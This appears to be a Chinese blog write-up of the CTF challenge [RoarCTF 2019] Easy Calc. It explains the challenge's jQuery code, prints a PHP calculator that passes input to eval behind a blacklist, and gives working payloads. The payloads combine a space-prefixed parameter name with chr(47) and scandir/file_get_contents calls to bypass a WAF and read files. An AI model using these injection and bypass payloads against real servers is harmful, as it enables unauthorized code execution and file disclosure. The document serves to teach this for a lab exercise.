当前位置: 首页 > article >正文

BUU17 [RoarCTF 2019]Easy Calc1

自用

源代码


    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

代码解释

代码语言涉及: jQuery,AJAX

表单提交事件绑定

$('#calc').submit(function(){
    // ...
    return false;
});
  • $('#calc'):使用 jQuery 选择器选中 ID 为 calc 的表单元素。
  • .submit():为表单元素绑定提交事件,当表单提交时会触发传入的回调函数。
  • return false;:阻止表单的默认提交行为,防止页面刷新。

  AJAX 请求

$.ajax({
    url: "calc.php?num=" + encodeURIComponent($("#content").val()),
    type: 'GET',
    success: function(data) {
        // ...
    },
    error: function() {
        // ...
    }
});
  1. $.ajax():jQuery 提供的用于发起 AJAX 请求的函数,接受一个配置对象作为参数。
  2. url:请求的 URL,这里将 ID 为 content 的输入框中的值进行编码后作为 num 参数添加到 calc.php 的 URL 后面。encodeURIComponent() 函数用于对特殊字符进行编码,确保参数传递的正确性。
  3. type:请求的类型,这里使用 GET 请求。
  4. success:请求成功时的回调函数,data 参数表示服务器返回的数据。
  5. error:请求失败时的回调函数。

成功回调函数 

success: function(data) {
    $("#result").html(`<div class="alert alert-success">
        <strong>答案:</strong>${data}
    </div>`);
}
  • $("#result"):使用 jQuery 选择器选中 ID 为 result 的元素。
  • .html():将指定的 HTML 内容插入到选中元素中。这里使用了模板字符串(ES6 特性)将服务器返回的结果 data 插入到一个带有 alert alert-success 类的 div 元素中

错误回调函数  

error: function() {
    alert("这啥?算不来!");
}

做法

看见源代码中有calc.php,访问得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

用system()或者exec()执行?

不行--在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

 显示用var_dump()或print_r(),当前目录用scandir(),屏蔽/可用chr(47)代替,查看文件用file_get_content()highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(scandir(chr(47)))

发现f1agg文件

查看文件用file_get_content()或者highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(file_get_contents(chr(47).f1agg))

 参考文章:[RoarCTF 2019]Easy Calc_[roarctf 2019]easy calc 1-CSDN博客

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

【BUUCTF】[RoarCTF 2019]Easy Calc1_[roarctf 2019]easy calc 1-CSDN博客


http://www.kler.cn/a/532807.html

相关文章:

  • Hive on Spark优化
  • CSS布局(一)flex一篇搞定
  • 可视化大屏在石油方面的应用。
  • 读书笔记--分布式架构的异步化和缓存技术原理及应用场景
  • 重新刷题求职2-DAY1
  • 使用React和Material-UI构建TODO应用的前端UI
  • 游戏引擎学习第87天
  • P3078[USACO13MAR] Poker Hands S
  • leetcode——多数元素(java)
  • 使用mockttp库模拟HTTP服务器和客户端进行单元测试
  • 开发板上Qt运行的环境变量的三条设置语句的详解
  • 【R语言】获取数据
  • C++ Primer 多维数组
  • 【Uniapp-Vue3】iconfont图标库的使用
  • kubernetes 高可用集群搭建
  • 文献学习笔记:中风醒脑液(FYTF-919)临床试验解读:有效还是无效?
  • git进阶--1---HEAD、工作树和索引之间的区别与联系
  • git进阶--3---git pull和git fetch的区别与联系
  • git进阶--2---冲突的产生和解决
  • 第九篇:NoSQL 数据库与大数据
  • 【Unity踩坑】Unity项目管理员权限问题(Unity is running as administrator )
  • kubernetes-部署性能监控平台
  • Hive on Spark优化
  • 解锁动态规划的奥秘:从零到精通的创新思维解析(7)
  • 【C#】Process、ProcessStartInfo启动外部exe
  • C++11新特性之long long超长整形